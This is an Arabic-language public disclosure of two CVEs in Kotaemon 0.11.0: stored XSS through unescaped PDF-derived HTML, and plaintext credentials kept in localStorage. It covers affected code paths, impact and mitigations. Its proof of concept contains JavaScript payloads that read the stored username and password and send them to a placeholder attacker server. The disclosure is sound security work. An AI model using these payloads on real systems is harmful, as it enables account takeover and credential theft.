
إفصاح عام عن CVE-2025-56526 وCVE-2025-56527 — XSS مخزّن عبر عرض محتوى PDF غير مُنقّى وتعرض بيانات الاعتماد كنص صريح في Kotaemon 0.11.0. يتضمن تحليلًا فنيًا كاملًا، وPoC، وتقييم الأثر، والجدول الزمني للإفصاح المسؤول.
تتضافر ثغرة البرمجة النصية عبر المواقع المخزنة (Stored XSS) في لوحة معلومات Kotaemon مع تخزين بيانات الاعتماد كنص صريح في
localStorage، ما يتيح اختراق الجلسة بالكامل من ملف PDF خبيث واحد.
<= 0.11.0 (بما في ذلك الـ commit 37cdc28)CVE-2025-56526 – XSS مخزنة عبر عرض محتوى PDF غير مُعقَّمCVE-2025-56527 – تخزين اسم المستخدم وكلمة المرور كنص صريح في localStorage| CVE ID | الثغرة | CWE | الأثر الأساسي |
|---|---|---|---|
| CVE-2025-56526 | XSS مخزنة عبر HTML مُشتق من PDF | CWE-79 | تنفيذ JavaScript عشوائي، تسريب بيانات |
| CVE-2025-56527 | تخزين بيانات الاعتماد كنص صريح | CWE-922 | كشف بيانات الاعتماد، اختطاف الجلسة |
يتم حقن نتائج استخراج PDF (النصوص، ترميز الجداول، البيانات الوصفية للصور) في DOM دون تهريب (escaping). لذلك يمكن لملف PDF خبيث أن يحمل HTML/JS عشوائيًا يعمل كلما عرضت لوحة المعلومات أو طرق عرض Reasoning المحتوى المسترجع retrieved_content.
تشمل مسارات التعليمات البرمجية المتأثرة:
libs/ktem/ktem/utils/render.py (Render.table, Render.image, Render.collapsible_with_header)libs/ktem/ktem/index/file/ui.py (table / image rendering)libs/ktem/ktem/reasoning/simple.py and libs/ktem/ktem/reasoning/react.pylibs/kotaemon/kotaemon/indices/qa/format_context.pylocalStorageيقوم libs/ktem/ktem/pages/login.py مع libs/ktem/ktem/assets/js/main.js بتخزين بيانات الاعتماد الخام واسترجاعها مباشرة من localStorage:
setStorage('username', usn);
setStorage('password', pwd);
const username = getStorage('username', '');
const password = getStorage('password', '');
أي JavaScript يتم تنفيذه عبر ناقل XSS يمكنه قراءة هذه القيم فورًا، مما يؤدي إلى سرقة موثوقة لبيانات الاعتماد والاستيلاء طويل الأمد على الحسابات.
alt لصورة أو كائن نصي): {
const u = localStorage.getItem('username');
const p = localStorage.getItem('password');
if (u && p) {
new Image().src='https://[ATTACKER-SERVER]?d=' + btoa(`id=${u}&pw=${p}`);
}
})();
">
{
const payload = btoa(
`id=${localStorage.getItem('username')}` +
`&pw=${localStorage.getItem('password')}` +
`&url=${location.href}&origin=${location.origin}` +
`&ua=${navigator.userAgent}`
);
new Image().src='https://[ATTACKER-SERVER]?d=' + payload;
})();
">
username/password كنص صريح تكون مكشوفة لأي سكربت محقون.غالبًا ما يتم نشر Kotaemon في البيئات المحلية أو بيئات المؤسسات حيث يرفع المستخدمون مستندات داخلية حساسة. ولأن المحتوى المشتق من PDF يُدرج في DOM دون تعقيم، يمكن للمهاجم إخفاء حمولة خبيثة داخل مستند أعمال يبدو طبيعيًا.
عندما يرفع الضحية هذا المستند ويعرضه، يعمل JavaScript المخفي تلقائيًا، مسرقًا بيانات الاعتماد من localStorage وكاشفًا سجلات الدردشة الخاصة ومحتويات المستندات.
على الرغم من أن المحفّز يبدو وكأنه إجراء من المستخدم، فإن هذا ليس XSS ذاتيًا. السبب الجذري هو فشل من جانب الخادم في تعقيم HTML المستخرج من الملفات المرفوعة، مما يتيح XSS مخزنة داخل مكونات واجهة مستخدم موثوقة.
ونتيجة لذلك، يمكن لملف PDF خبيث واحد أن يؤدي إلى اختراق كامل للحساب في سيناريوهات الهندسة الاجتماعية الواقعية.
html.escape أو DOMPurify أو Trusted Types لمستقبلات DOM).script-src 'self') وTrusted Types لتقليل سطح هجوم XSS عبر DOM.screenshots/)







يتبع هذا الإعلان العام الممارسات القياسية في الصناعة للإفصاح المسؤول:
يجب على مستخدمي Kotaemon (<= 0.11.0) مراعاة ما يلي حتى يتوفر إصلاح أمني:
[email protected]